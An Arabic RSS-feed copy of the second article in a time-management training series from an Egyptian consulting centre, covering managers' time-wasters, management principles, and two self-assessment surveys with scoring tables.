هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-03/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية https://cameknowledge.camecenter.com/articles/time_management-02/ https://cameknowledge.camecenter.com/articles/time_management-02/#respond Sat, 01 Apr 2023 13:00:14 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10304 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثانية سادساً :أهم العوامل المضيعة الوقت : يقصد بالعوامل المهدرة أو المضيعة للوقت تلك العوامل التي تحول دون أداء الأعمال الهامة والتي لها قيمة عالية . كما يمكن تعريفها بأنها الأعمال التي يستهلك فيها كمية كبيرة من الوقت والتي لا تتناسب مع القيمة […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثانية

سادساً :أهم العوامل المضيعة الوقت :

يقصد بالعوامل المهدرة أو المضيعة للوقت تلك العوامل التي تحول دون أداء الأعمال الهامة والتي لها قيمة عالية . كما يمكن تعريفها بأنها الأعمال التي يستهلك فيها كمية كبيرة من الوقت والتي لا تتناسب مع القيمة الناتجة من تنفيذ هذه الأعمال . أي تساهم مساهمة محدودة في تحقيق الهدف النهائي مثال لذلك المقاطعات المتعددة الاجتماعات المطولة . الأعمال الروتينية والتي يمكن تفويضها للغير . الهدف هو وضع هذه العوامل التي تسرق الوقت تحت المراقبة .

وحيث أن العملية الإدارية تتكون من التخطيط والتنظيم والتنفيذ والرقابة ، وهى تحتوى على مهمة إدارة الوقت ، وعليه فإن إدارة الوقت هي في حد ذاتها عملية تتكون من مهام التخطيط والتنظيم والرقابة ، وبالتالي فهي تستلزم وجود مهارة التخطيط والتنظيم لاستخدامها بفعالية ، وكذلك مهارة الرقابة على استخدامها .

    ويلاحظ أن بعض الإداريين أكثر فعالية من غيرهم لتوفر الخصائص التالية :

  • القدرة على التنفيذ الفوري ،إذ أن 80% من الأعمال الواردة إلى مكتب الإداري تتم معالجتها فورا .
  • القدرة على التفويض ، فالإداري الجيد يحيط نفسه بموظفين أكفاء .
  • الرغبة في القيام بدعم وتشجيع وإظهار الاهتمام بالمرؤوسين .
  • القدرة على فصل الغث من السمين ، فالإداري الذي يمكنه ذلك يتجنب الوقوع في فخ التفاصيل البسيطة وغير المفيدة .
  • رفض تضييع الوقت في القيام بالمهام المستحيلة ، فالإداري الفعال يستطيع أن يعترف بالهزيمة وينتقل إلى أشياء أكبر من غيرها .
  • القدرة على توقع مكانته في المستقبل .
  • لديه الإحساس بالوقت والتوقيت والشعور بالحقيقة .
  • القدرة على تحديد مواعيد إنهاء معقولة لكل المشروعات .

 

أهم مضيعات الوقت لدى المديرين :

     على الرغم من ضياع الوقت بسهولة ، فإن الكثيرين يتجاهلون ذلك وينكرونه على أنفسهم جاهلين أنهم يقومون بذلك غير متعمدين ، وفيما يلي بعض الأمثلة الدالة على ذلك من الحياة اليومية العملية :

  • قيام بعض الأفراد بنصف المهام التي خطط لها مسبقا أن تتم في اليوم دون معرفة السبب .
  • التساؤل المستمر من كثير من الأفراد ماذا حدث لليوم ، لا توجد بركة في الوقت .
  • تكاثر الأعمال المطلوب إنجازها في مواعيدها المحددة ولا يوجد الوقت الكافي .
  • تراكم الموضوعات المعلقة والتي لم يتخذ بشأنها أي قرارات لدى كثير من المديرين .
  • فقدان العديد من المستندات المهمة في بعض المنظمات في وقت تكون هناك الحاجة ماسة إليها.
  • البحث في أماكن خاطئة عن مستندات معينة لعدم تذكر أين تم حفظها .

     ولقد ركزت العديد من الدراسات على بيان أهم المعوقات أو مضيعات الوقت والتي تؤثر سلبا على الإدارة الفعالة للوقت ، فيرى تومس ميلر Thomas Miller  أن هناك العديد من مضيعات الوقت تمنع من تحقيق الأهداف بشكل فعال ويمكن تصنيفها على النحو التالي :-

     1- مضيعات للوقت تتعلق بوظيفة التخطيط مثل : عدم وجود أهداف وتغير الأولويات  ، ومحاولة القيام بأمور كثيرة في وقت واحد .

     2- مضيعات للوقت تتعلق بوظيفة التنظيم مثل : عدم التنظيم الشخصي ، وازدواجية الجهد ، وتعدد الرؤساء ، وخلط المسئولية والسلطة ، ….

    3- مضيعات للوقت تتعلق بوظيفة التوجيه مثل : التفويض غير الفعال ، ونقص الدافع ونقص التنسيق في العمل ، ….

    4- مضيعات للوقت تتعلق بوظيفة الرقابة مثل : المقاطعات التلفونية والزيارات المفاجأة والمعلومات غير الكاملة ، ونقص الانضباط الذاتي ، وفقدان المعايير ،….

   5- مضيعات للوقت تتعلق بوظيفة الاتصالات مثل : فقدان الاتصال ، وكثرة الاجتماعات والاتصالات الزائدة ، وكثرة المذكرات الداخلية ،….

   6-مضيعات للوقت تتعلق بوظيفة صنع القرارات مثل : التأجيل أو التردد ، الحصول على كل المعلومات ، القرارات السريعة ، ….

وفيما يلي عرض لأهم مضيعات الوقت لدى طبقة الإدارة ( مستخلصة من نتائج عدد من الدراسات التي أجريت في هذا الشأن ).

  • المكالمات الهاتفية غير المفيدة .
  • المقاطعات من الزوار .
  • التنظيم غير الجيد للاجتماعات .
  • الموضوعات الفجائية التي لا تدخل في الحسبان .
  • عدم الاهتمام بوضع أهداف يوميه.
  • عدم الاهتمام بتحديد أولويات للعمل اليومي .
  • عدم التنظيم الجيد للأوراق و الموضوعات داخل المكتب .
  • الانشغال في التفاصيل و الأعمال الروتينية .
  • التحديد غير الواقعي للوقت الذي تحتاجه بعض الموضوعات .
  • عدم وضوح التعليمات و إجراءات العمل .
  • نقص المعلومات و البيانات و عدم دقتها .
  • مشاغل المراسلات .
  • الميل إلى عدم إعطاء ردود حاسمة أو جازمة .
  • الانشغال في أكثر من موضوع في وقت واحد .

 

إستقصاءعوامل ضياع الوقت

فيما يلي مجموعة من العبارات ، والتي يمثل كل منها عامل من العوامل المضيعة للوقت .

 المطلوب : قراءة كل عبارة بدقة ووضع دائرة حول الدرجة التي تعكس مدى إنطباق مضمون هذه العبارة عليكم أثناء إدارتكم لوقت العمل الرسمي .

م أهم عوامل ضياع الوقت موافق جداً موافق لا أحدد غير موافق غير موافق مطلقاً
1 عدم وضع أهداف . 5 4 3 2 1
2 عدم وجود خطة يومية . 5 4 3 2 1
3 الأولويات غير واضحة . 5 4 3 2 1
4 ترك أعمال قبل انتهائها . 5 4 3 2 1
5 التعامل مع الأزمات . 5 4 3 2 1
6 عدم وجود مواعيد للتنفيذ يلتزم بها . 5 4 3 2 1
7 تحديد أزمنة غير واقعية للتنفيذ . 5 4 3 2 1
8 إنني غير منظم . 5 4 3 2 1
9 إزدواج في المجهود 5 4 3 2 1
10 عدم وضوح السلطة . 5 4 3 2 1
11 عدم وضوح المسئولية . 5 4 3 2 1
12  تعدد الرؤساء لي . 5 4 3 2 1
13 الانشغال في الأعمال الروتينية 5 4 3 2 1
14 عدم التفويض الفعال .          
15 عدم وجود دافعية . 5 4 3 2 1
16 عدم إدارة المنازعات بشكل فعال . 5 4 3 2 1
17 عدم التكيف مع التغير . 5 4 3 2 1
18 كثرة التليفونات غير الضرورية . 5 4 3 2 1
19 الزيارات غير المخططة . 5 4 3 2 1
20 إفتقار الرقابة الذاتية . 5 4 3 2 1
21 كثرة الأخطاء . 5 4 3 2 1
22 عدم القدرة على رفض طلب للغير . 5 4 3 2 1
23 عدم وجود معايير للأداء . 5 4 3 2 1
24 عدم توافر المعلومات الكاملة . 5 4 3 2 1
25 الاجتماعات . 5 4 3 2 1
26 عدم وضوح الاتصالات . 5 4 3 2 1
27 الفشل في الاستماع . 5 4 3 2 1
28 المقابلات . 5 4 3 2 1
29 كثرة تعديل القرارات 5 4 3 2 1
30 طول وقت اتخاذ القرار . 5 4 3 2 1
31 البحث عن كل الحقائق قبل اتخاذ القرار 5 4 3 2 1
32 كثرة اللجان 5 4 3 2 1
33 البحث عن الكمال . 5 4 3 2 1

 

تفريغ النتائج

برجاء نقل الأرقام المقابلة للإجاباتكم كل في مكانه في الجداول التالية ، ثم إستخراج حاصل الجمع لكل جدول :

1- وظيفة التخطيط

رقم العبارة الدرجة
1  
2  
3  
4  
5  
6  
7  
المجموع  

 

2- وظيفة التنظيم

رقم العبارة الدرجة
8  
9  
10  
11  
12  
المجموع  

 

3- وظيفة التوجيه

رقم العبارة الدرجة
13  
14  
15  
16  
17  
المجموع  

 

 

4- وظيفة الرقابة

رقم العبارة الدرجة
18  
19  
20  
21  
22  
23  
24  
المجموع  

 

5- وظيفة الإتصالات

رقم العبارة الدرجة
25  
26  
27  
28  
المجموع  

 

6- وظيفة اتخاذ القرارات

رقم العبارة الدرجة
29  
30  
31  
32  
33  
المجموع  

 

سابعاً : أهم مبادئ إدارة الوقت .

    تتمثل أهم مبادئ إدارة الوقت فيما يلي :

  • مبدأ تحليل الوقت : فتحليل الوقت يعتبر من المتطلبات الضرورية لإدارة الوقت . وكأساس لهذا التحليل يجب الاحتفاظ بجدول يومي للنشاطات التي يقوم بها المدير – أيا كان مستواه التنظيمي – لتسجيلها عبر فترات من 15 إلى 30 دقيقة ولمدة أسبوعين متتاليين .
  • مبدأ التخطيط اليومي . إن معظم الكتاب يتفقون على أن الخطط ينبغي أن تعد يوميا ، وأن تتألف من قائمة من الأعمال وجدول زمني لإنجازها ، ويبدو أن كل الكتاب يتفقون على أن تعد الخطط  بعد انتهاء عمل اليوم أو قبل ابتداء العمل في اليوم التالي ، بحيث تتلاءم مع الأهداف القصيرة الأجل ومع المهمات. وقد لاحظ معظم الكتاب أن التخطيط غير الملائم هو السبب الأساسي للإدارة السيئة للوقت . فالتخطيط الفعال سيقضى على مشكلة تضييع الوقت ، والتوصيات لإعداد الخطط تأخذ أشكالا مختلفة وذلك بناءاً على الكاتب نفسه .
  • مبدأ تخصيص الوقت حسب الأولوية . بمعنى أنه يجب تخصيص الوقت المتوافر في يوم العمل لإنجاز تلك الأعمال التي تعتبر ذات أولوية عالية ، ونقوم بذلك بعد أن نكتب الأعمال المطلوب القيام بها في الخطة اليومية ، وذلك حسب أولوياتها وتخصيص الوقت المتاح لإنجازها .
  • مبدأ المرونة : يجب أن تكون المرونة من الأمور الرئيسية التي تؤخذ في الاعتبار عند اختيار الخطط فيما يتعلق باستخدام الوقت الشخصي ، أي أنه يجب ألا يتم الإفراط أو التقليل من الوقت المطلوب . إن أي شخص في موقع إداري مهم يقوم بجدولة أكثر من نصف يومه يكون مغاليا .فعلى الأقل يمكن أن نتوقع أن نصف وقت المدير سيقضيه في معالجة الأزمات والطوارئ وضغوط العمل اليومي خاصة في المنظمات الكبيرة .
  • مبدأ التفويض : يعتبر تفويض كل الأعمال الممكنة بما يتناسب مع حدود عمل المدير أمر ضروري لتوفير الوقت المطلوب للقيام بالمهام الإدارية . فالأعمال التي يمكن تفويضها تعطى المدير وقتا حراً يستطيع في خلاله أن يقوم بأعمال أخرى لا يمكن لغيره القيام بها .
  • مبدأ تقسيم النشاط (العمل ) : فكل الأعمال المتشابهة بطبيعتها والتي تتطلب بيئة وموارد مماثلة لإنجازها ينبغي أن تجمع معا في أقسام من خطة العمل اليومية .
  • مبدأ التحكم في المعوقات : فمن الضروري جدا لإدارة الوقت أن يكون هناك نوع من التحكم في النشاطات وترتيبها بحيث تقل عدد ومدة المقاطعات غير الضرورية .
  • مبدأ وجود نظم واضحة ومحددة للعمل : حيث أن وجود نظم واضحة ومحددة للعمل ، وبالتالي تحديد دقيق للمسئوليات والسلطات وتنظيم العلاقات بين بين المرؤوسين فيما بينهم البعض وبينهم وبين الرئيس الأعلى ، من شأنه أن يساعد في توفير وقت المدير وتفعيل إدارته
  • مبدأ تنفيذ الخطة والمتابعة : إن تنفيذ الخطة اليومية والمتابعة اليومية ضروريان لإدارة الوقت، ولا يمكن إنجاز وظيفة الرقابة إلا إذا كان هناك خطة أو معيار تتم مقارنة النتائج المتوقعة به . فمتابعة تعديل الخطة والجدول والأداء بما يتلاءم مع الأهداف والظروف المحيطة هي الرقابة بذاتها .

إستقصاء

مبادئ إدارة الوقت

فيما يلي مجموعة من العبارات ،تعكس كل منها مبدأ من المبادئ الأساسية لإدارة الوقت ، والتي يجب مراعاتها من قبل المديرين عند إدارة وقت العمل الرسمي .

 المطلوب : قراءة كل عبارة بدقة وتحديد ما إذا كانت ظروف العمل تسمح بتطبيق مضمون هذه العبارة عليكم أثناء إدارتكم لوقت العمل الرسمي ، وكيفية التطبيق في مجال عملكم ؟ .

م العبارات دائما أحيانا نادراً كيفية التطبيق
1 أقوم بتحليل وقت العمل بغرض تحديد الأنشطة المطلوب القيام بها يومياً .

 

        
2 يتم إعداد جدول زمني يوضح الأنشطة والزمن اللازم لتنفيذها يومياً .

 

        
3 يتم توزيع وقت العمل الرسمي على الأنشطة حسب أولوياتها .

 

        
4 يتم تخطيط الوقت بحيث يسمح بالقيام بالأعمال الطارئة أو المفاجئة .

 

        
5 أقوم بتفويض جميع الأعمال التي يمكن تفويضها .        
6 يتم تجميع الأعمال الخاصة بالموضوعات المتشابهة مع بعضها البعض في مجموعات .        
7 يوجد نوع من التحكم في النشاطات وترتيبها بحيث تقل عدد ومدة المقاطعات غير الضرورية .        
8 توجد نظم واضحة ومحددة للعمل بما يسهل تحديد دقيق للمسئوليات والسلطات وتنظيم العلاقات بين المرؤوسين فيما بينهم البعض وبينهم وبين الرئيس الأعلى .        
9 يتم  تنفيذ الخطة اليومية للإستفادة من الوقت الرسمي ومتابعتها .

 

        

 

 *   *   *

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-02/feed/ 0